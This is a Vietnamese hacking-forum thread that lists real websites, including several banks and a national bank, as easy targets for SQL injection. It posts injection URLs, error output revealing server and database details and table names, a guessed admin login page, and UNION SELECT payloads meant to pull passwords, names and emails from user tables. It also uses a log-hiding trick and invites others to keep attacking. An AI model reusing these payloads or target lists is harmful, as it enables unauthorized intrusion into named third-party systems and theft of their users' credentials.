Các Sites có lỗi bảo mật, dễ hack

Vào đây lấy sơn về make up lại cái nha' na'o ^_^

Link : http://4oranges.com/news_detail.asp?...R052826092744B

Error message :

Microsoft OLE DB Provider for SQL Server error '80040e07'

Syntax error converting the nvarchar value 'Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to a column of data type int.

/news_detail.asp, line 33

Try it!!!

famydmx(hcegroup.biz)

http://4oranges.com/news_detail.asp?...))--sp_pasword

Trích:

OS: Microsoft SQL Server 2000 - 8.00.760 (Intel X86) Dec 17 2002 14:22:05 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 1)

servername : MATBAO

db name: MyKolor

user: mykolor

tìm đc mấy tables:

Trích:

Permissions , Employees , khanhfcbb , Permission_Employee ....

xong mới sực nhớ ra là phải tìm Link admin trc , đoán bừa 1 lúc ko ra --> bỏ

xài cái Nikto cũng ko quen lắm

&micimacko (hcegroup.biz)

link login này:

http://webmaster.mykolor.com/

Nhân tiện topic SQL (MSSQL,MYSQL) clarken có 1 số site thú vị sau , ai thích thì làm tiếp nhé:

@check by clarken

Code:

http://www.beh-saba.com/nazarat.php?id=61+union+select+1,2,3,4,5,null--

http://megagym.ru/show_cat2.php?grid=999+union+select+password+from+ admin/*

http://megagym.ru/show_cat2.php?grid=999+union+select+concat(name,char(58),email,char(58),passwd)+from+user/*

http://www.oneills.ie/shop/index.asp?catID=-999+union+select+null--

http://section3.net/moblog/big.php?img=-1+union+select+1,2,3,4,5,6,7,8,9,10,11/*&pg=1

http://www.hallmarkstudentministry.com/moblog/big.php?img=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12/*&pg=1

http://quiddich.voldemort.ru/forum.php?forum=16&sid=&skey=&topic=-599+union+select+1,2,user(),4,5,6,7,8,9/*

http://shop.liprom.ru/index.php?page=partner&keyval=18381&namekey=17945'+or+1=@@version--

http://shop.liprom.ru/index.php?page=partner&keyval=18381&namekey=17945'+or+1=(select+system_user)--

http://shop.liprom.ru/index.php?page=partner&keyval=18381&namekey=17945'+or+1=(select%20db_name())--

http://www.srochno.mk.ru/article.asp?id=8324'

http://www.rs.ru/ru/index.php?id70=320'

http://www.nationalbank.kz/?uid=9E21A7F6-802C-E8FB-3A9822E750174087&docid=178'

http://www.trust.ru/common/promo_redirect.php?cid='13&lid=1&v=0&ul=L3J1L2luZGl2aWR1YWwvc2F2aW5ncy8=

http://www.nbt.tj/?c=44&id=4'4&a=263'

http://www.russlavbank.com/content.phtml?prcenter.newsdetail.276'

http://www.sdm-bank.ru/news/20044'

http://www.mtbank.ru/index.php?action='

http://www.roscredit.ru/main/newsroom/news/38'

http://edu.ru/index.php?page_id=10&action=viewcat&cat=7'

http://www.paritate.ru/othernews/610301600'

clarken(hcegroup.biz)